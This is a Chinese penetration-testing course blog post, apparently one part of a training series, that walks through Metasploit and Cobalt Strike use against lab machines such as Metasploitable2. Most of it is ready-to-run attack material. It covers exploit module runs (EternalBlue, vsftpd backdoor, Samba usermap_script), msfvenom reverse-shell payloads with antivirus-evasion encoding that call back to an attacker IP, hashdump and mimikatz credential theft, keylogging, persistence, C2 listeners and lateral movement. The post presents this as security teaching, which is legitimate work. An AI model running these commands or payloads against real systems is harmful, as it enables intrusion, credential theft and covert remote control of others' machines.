MSF与CS内网渗透实战

3 阅读10分钟

MSF与CS内网渗透实战

马哥教育网络安全课程实战博客 · 第十一篇 对应课程章节:第23章 · 内网渗透神器MSF、CS并进行内网渗透初体验


一、前言

Metasploit Framework(MSF)和Cobalt Strike(CS)是内网渗透中最强大的两大工具。MSF开源免费,拥有海量漏洞利用模块;CS商业授权,以灵活的Beacon通信和团队协作著称。本篇将全面讲解两款工具的使用方法,并在上一篇搭建的靶场环境中进行实战演练。


二、Metasploit Framework(MSF)全面指南

2.1 安装与配置

# Kali Linux已预装MSF,如需在Ubuntu上安装:
# 攻击机 113.47.1.165

# 方式一:官方安装脚本
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/build/scripts/msp_install.sh | bash

# 方式二:apt安装(Kali/Ubuntu)
sudo apt update
sudo apt install -y metasploit-framework

# 初始化数据库
sudo msfdb init

# 启动MSF控制台
msfconsole

# 检查版本
msfconsole -q -x 'version; exit'

数据库配置:

# 配置PostgreSQL数据库
sudo systemctl enable --now postgresql
sudo -u postgres createuser msf -S -R -P
sudo -u postgres createdb -O msf msf_database

# 编辑MSF数据库配置
cat > /usr/share/metasploit-framework/config/database.yml << 'EOF'
production:
  adapter: postgresql
  database: msf_database
  username: msf
  password: msf_password
  host: localhost
  port: 5432
EOF

# 在MSF中连接数据库
msf6 > db_connect msf:msf_password@127.0.0.1/msf_database
msf6 > db_status

2.2 核心命令详解

# === 基础命令 ===
msf6 > help                    # 查看帮助
msf6 > version                 # 查看版本
msf6 > banner                  # 显示banner

# === 模块搜索 ===
msf6 > search eternalblue      # 按名称搜索
msf6 > search type:exploit     # 按类型搜索
msf6 > search name:ssh         # 按名称搜索
msf6 > search cve:2017-0144    # 按CVE编号搜索
msf6 > search rank:great       # 按评级搜索

# === 模块使用 ===
msf6 > use exploit/windows/smb/ms17_010_eternalblue  # 选择模块
msf6 (exploit/...) > info      # 查看模块信息
msf6 (exploit/...) > show options    # 查看选项
msf6 (exploit/...) > show payloads   # 查看可用payload
msf6 (exploit/...) > show targets    # 查看目标

# === 参数设置 ===
msf6 (exploit/...) > set RHOSTS 113.44.137.250   # 设置目标IP
msf6 (exploit/...) > set RPORT 445              # 设置目标端口
msf6 (exploit/...) > set LHOST 113.47.1.165     # 设置本地IP
msf6 (exploit/...) > set LPORT 4444             # 设置本地端口
msf6 (exploit/...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# === 执行与会话管理 ===
msf6 (exploit/...) > exploit      # 执行攻击
msf6 (exploit/...) > run -j       # 后台执行
msf6 > sessions -l                # 列出所有会话
msf6 > sessions -i 1              # 进入会话1
msf6 > sessions -k 1              # 关闭会话1
msf6 > sessions -K                # 关闭所有会话

# === 工作区管理 ===
msf6 > workspace -a magedu        # 添加工作区
msf6 > workspace magedu           # 切换工作区
msf6 > db_nmap -sV 113.44.174.47  # 扫描并入库
msf6 > hosts                      # 查看主机
msf6 > services                   # 查看服务
msf6 > vulns                      # 查看漏洞

2.3 常见漏洞利用实战

EternalBlue(MS17-010)
# 永恒之蓝漏洞利用 - 针对Windows SMB服务
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 113.44.137.250
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit

# 成功后获得Meterpreter会话
meterpreter > sysinfo
meterpreter > getuid
Shellshock(CVE-2014-6271)
# Shellshock漏洞利用 - 针对Apache CGI
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6 > set RHOSTS 113.44.174.47
msf6 > set RPORT 80
msf6 > set TARGETURI /cgi-bin/vulnerable
msf6 > set LHOST 113.47.1.165
msf6 > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 > exploit
vsftpd后门(CVE-2011-2523)
# vsftpd 2.3.4后门漏洞 - Metasploitable2经典漏洞
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 113.44.137.250
msf6 > set RPORT 21
msf6 > exploit

# 获得root shell
whoami  # root

2.4 Meterpreter后渗透操作

# === 基础信息收集 ===
meterpreter > sysinfo              # 系统信息
meterpreter > getuid               # 当前用户
meterpreter > getpid               # 当前进程
meterpreter > getsystem            # 尝试提权到SYSTEM
meterpreter > getprivs             # 查看当前权限

# === 文件操作 ===
meterpreter > pwd                  # 当前目录
meterpreter > ls                   # 列出文件
meterpreter > cd /tmp              # 切换目录
meterpreter > download /etc/passwd # 下载文件
meterpreter > upload tool.exe C:\\Windows\\Temp\\  # 上传文件
meterpreter > cat /etc/shadow      # 查看文件内容
meterpreter > edit /etc/hosts      # 编辑文件

# === 进程操作 ===
meterpreter > ps                   # 列出进程
meterpreter > migrate 1234         # 迁移到指定进程
meterpreter > kill 5678            # 杀死进程
meterpreter > execute -f cmd.exe -i -H  # 执行命令

# === 网络信息 ===
meterpreter > ifconfig             # 网络接口
meterpreter > route                # 路由表
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.2  # 端口转发
meterpreter > portfwd list         # 查看端口转发
meterpreter > portfwd delete -l 8080  # 删除端口转发

# === 凭据收集 ===
meterpreter > hashdump             # 导出密码哈希
meterpreter > run post/multi/gather/ssh_creds   # 收集SSH凭据
meterpreter > run post/linux/gather/hashdump    # Linux哈希导出

# === 屏幕与键盘 ===
meterpreter > screenshot           # 截屏
meterpreter > keyscan_start        # 开始键盘记录
meterpreter > keyscan_dump         # 导出键盘记录
meterpreter > keyscan_stop         # 停止键盘记录

# === 持久化 ===
meterpreter > persistence -X -i 60 -p 4444 -r 113.47.1.165

2.5 MSF路由与代理(Pivoting)

# === 添加内网路由 ===
# 在已获得的session上添加路由,使MSF可以访问内网
msf6 > sessions -l                  # 查看已有会话
msf6 > route add 10.0.0.0 255.255.255.0 1  # 通过session 1访问10.0.0.0/24
msf6 > route print                 # 查看路由表

# === SOCKS代理 ===
msf6 > use auxiliary/server/socks_proxy
msf6 > set VERSION 4a
msf6 > set AUTH true
msf6 > set USERNAME proxy
msf6 > set PASSWORD proxy123
msf6 > run -j

# 配置proxychains
# 编辑 /etc/proxychains4.conf
# socks4 127.0.0.1 1080

# 通过代理访问内网
proxychains nmap -sT -p 445 10.0.0.2
proxychains curl http://10.0.0.2/

2.6 Payload生成(msfvenom)

# === 常用Payload生成 ===

# Windows反向连接Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 -f exe -o shell.exe

# Linux反向连接Meterpreter
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 -f elf -o shell.elf

# Python Payload
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 -f raw -o shell.py

# PHP Payload
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 -f raw -o shell.php

# Shellcode(C格式)
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 -f c -o shellcode.c

# === 编码与免杀 ===
# 单次编码
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 \
  -e x86/shikata_ga_nai -f exe -o encoded.exe

# 多次编码
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o multi_encoded.exe

# 指定架构和平台
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 \
  --platform windows -a x64 \
  -f exe -o payload.exe

三、Cobalt Strike(CS)指南

3.1 架构与团队服务器搭建

# CS架构:Team Server + Client
# Team Server:管理Beacon,提供HTTP/HTTPS/DNS监听
# Client:图形化操作界面,可多人协作

# 启动Team Server(在攻击机 113.47.1.165 上)
# 需要Java环境
sudo apt install -y default-jdk

# 启动团队服务器
./teamserver 113.47.1.165 magedu_password

# 参数说明:
# 113.47.1.165 - 团队服务器IP
# magedu_password - 团队连接密码

# 客户端连接
./cobaltstrike  # 然后输入IP、端口(50050)、用户名、密码

3.2 Beacon类型与通信

CS的核心是Beacon(信标),支持多种通信模式:

Beacon类型通信方式特点适用场景
HTTP/HTTPSHTTP协议融入正常流量穿越防火墙
DNSDNS隧道隐蔽性强严格出网限制
SMB命名管道内网横向跳板机转发
TCPTCP绑定内网转发端口转发
# 在CS控制台中配置监听器

# HTTP Beacon监听
beacon> listeners
beacon> listeners add
  Name: http_listener
  Type: Beacon HTTP
  Host: 113.47.1.165
  Port: 8080
  Profile: default

# HTTPS Beacon监听(需要证书)
beacon> listeners add
  Name: https_listener
  Type: Beacon HTTPS
  Host: 113.47.1.165
  Port: 443
  Profile: default

# DNS Beacon监听
beacon> listeners add
  Name: dns_listener
  Type: Beacon DNS
  Host: c2.magedu.com
  Port: 53

3.3 常用命令与模块

# === Beacon基础命令 ===
help                    # 查看帮助
sleep 60                # 设置睡眠时间(秒)
sleep 60 20             # 睡眠60秒,抖动20%
jitter 20               # 设置抖动20%
checkin                 # 立即回连

# === 执行命令 ===
shell whoami            # 执行cmd命令
shell ipconfig /all     # 查看网络配置
powershell Get-Process  # 执行PowerShell命令
execute-assembly C:\tool.exe  # 执行.NET程序集

# === 文件操作 ===
cd C:\Windows\Temp      # 切换目录
ls                      # 列出文件
mkdir magedu            # 创建目录
upload /path/to/tool.exe  # 上传文件
download C:\secret.txt  # 下载文件

# === 信息收集 ===
ps                      # 进程列表
net view                # 查看网络共享
net computers            # 查看域计算机
net dclist              # 查看域控列表
ipconfig                # 网络配置

# === 横向移动 ===
jump psexec 10.0.0.2 magedu  # PsExec横向
jump winrm 10.0.0.3 magedu   # WinRM横向
jump psexec_psh 10.0.0.4 magedu  # PsExec PowerShell版

# === 凭据操作 ===
run mimikatz            # 运行mimikatz
mimikatz sekurlsa::logonpasswords  # 导出登录密码
mimikatz lsadump::dcsync /domain:magedu.local /user:Administrator

# === 代理与转发 ===
socks 1080              # 开启SOCKS代理
rportfwd 8080 10.0.0.2 80  # 端口转发

3.4 Aggressor脚本

Aggressor脚本使用Sleep语言扩展CS功能:

// aggressor脚本示例:自动化信息收集
sub collect_info {
    binput($1, "信息收集脚本");
    bshell($1, "whoami");
    bshell($1, "ipconfig /all");
    bshell($1, "net user");
    bshell($1, "net localgroup administrators");
    bshell($1, "systeminfo");
    bshell($1, "tasklist /svc");
}

command("collect", "自动化信息收集");
on command_collect {
    foreach $beacon (beacons()) {
        collect_info($beacon);
    }
}
// 自动化提权脚本
command("auto_privesc", "自动提权");
on command_auto_privesc {
    foreach $beacon (beacons()) {
        binput($beacon, "自动提权流程");
        btask($beacon, "尝试UAC绕过");
        btask($beacon, "尝试服务提权");
        btask($beacon, "尝试令牌窃取");
    }
}

3.5 CS代理与内网穿透

# === SOCKS代理 ===
# 在已上线的Beacon上开启SOCKS代理
beacon> socks 1080

# 配置proxychains使用CS代理
# 编辑 /etc/proxychains4.conf
# socks5 127.0.0.1 1080

# 通过代理扫描内网
proxychains nmap -sT -p 445,3389 10.0.0.0/24

# === 管道转发(Pivot) ===
# 将内网流量通过Beacon转发
beacon> rportfwd 8080 10.0.0.2 80
# 将本地8080端口流量转发到内网10.0.0.2的80端口

# === SMB Beacon内网横向 ===
# 在跳板机上创建SMB Beacon
beacon> connect 10.0.0.3
# 适合无出网的内网主机横向

四、实战演练:利用MSF攻击Metasploitable2

4.1 环境确认

# 攻击机: 113.47.1.165
# 目标机: 113.44.137.250 (Metasploitable2)

# 第一步:端口扫描确认目标服务
nmap -sV -p 21,22,23,25,53,80,111,139,445,1524,3306,5432,5900,8080 \
  113.44.137.250

# 预期输出:
# 21/tcp   open  ftp     vsftpd 2.3.4
# 22/tcp   open  ssh     OpenSSH 4.7p1
# 23/tcp   open  telnet  Linux telnetd
# 25/tcp   open  smtp    Postfix smtpd
# 80/tcp   open  http    Apache httpd 2.2.8
# 445/tcp  open  netbios Samba smbd 3.X
# 3306/tcp open  mysql   MySQL 5.0.51a
# ...

4.2 利用vsftpd后门获取Shell

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 113.44.137.250
msf6 > exploit

# 获得root shell
id
# uid=0(root) gid=0(root)

# 收集信息
cat /etc/passwd
cat /etc/shadow

4.3 利用SSH弱口令

# 使用MSF辅助模块爆破SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 113.44.137.250
msf6 > set USERNAME msfadmin
msf6 > set PASSWORD msfadmin
msf6 > set STOP_ON_SUCCESS true
msf6 > run

# 成功登录后获得会话
msf6 > sessions -l
msf6 > sessions -i 1

4.4 利用Samba漏洞

# usermap_script漏洞(CVE-2007-2447)
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 113.44.137.250
msf6 > set RPORT 139
msf6 > set PAYLOAD cmd/unix/reverse
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > exploit

# 获得命令行shell
whoami  # root

4.5 后渗透信息收集

# 在获得的session上进行后渗透
msf6 > sessions -i 1

# 如果是Meterpreter会话
meterpreter > sysinfo
meterpreter > ifconfig
meterpreter > route
meterpreter > cat /etc/shadow
meterpreter > hashdump

# 查找敏感文件
meterpreter > shell
find / -name "*.conf" -type f 2>/dev/null
find / -name "id_rsa" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null

# 检查计划任务
cat /etc/crontab
ls -la /etc/cron.*

# 检查SUID文件
find / -perm -4000 -type f 2>/dev/null

4.6 横向移动到其他靶机

# 从已攻陷的113.44.137.250扫描内网
meterpreter > shell
# 安装扫描工具
apt-get install -y nmap 2>/dev/null || curl -o nmap_static https://nmap.org/dist/nmap-7.92.tgz

# 扫描其他靶机
nmap -sT -p 22,80,445,3306 113.44.174.47
nmap -sT -p 22,80,445,3306 119.3.169.5

# 添加路由使MSF可以访问
# 回到MSF控制台
msf6 > background
msf6 > route add 113.44.174.0 255.255.255.0 1
msf6 > route add 119.3.169.0 255.255.255.0 1

# 通过跳板机攻击其他目标
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 > set RHOSTS 113.44.174.47
msf6 > set USERNAME ubuntu
msf6 > set PASSWORD ubuntu
msf6 > run

五、MSF与CS对比总结

特性MSFCS
授权方式开源免费商业授权
漏洞模块1500+ exploit依赖外部导入
通信协议TCP/HTTPHTTP/HTTPS/DNS/SMB
团队协作有限支持原生支持
图形界面Armitage(过时)原生GUI
后渗透MeterpreterBeacon + Aggressor
免杀能力基础编码较强(Artifact Kit)
适用场景漏洞利用长期控制/红队

六、总结

本篇全面讲解了内网渗透两大神器:

  1. MSF:从安装配置到核心命令,从漏洞利用到后渗透操作,掌握了Meterpreter的完整使用流程和Pivoting技术
  2. CS:理解了Beacon通信架构,学会了团队服务器搭建、监听配置、横向移动和Aggressor脚本扩展
  3. 实战演练:完整演练了从信息收集到漏洞利用、后渗透、横向移动的全流程

下一篇我们将深入fscan扫描、远控上线、信息搜集、权限提升和免杀技术。


免责声明:本文所有技术内容仅用于授权安全测试和教学目的。未经授权对他人系统进行渗透测试属于违法行为。请在合法授权范围内使用所学技术。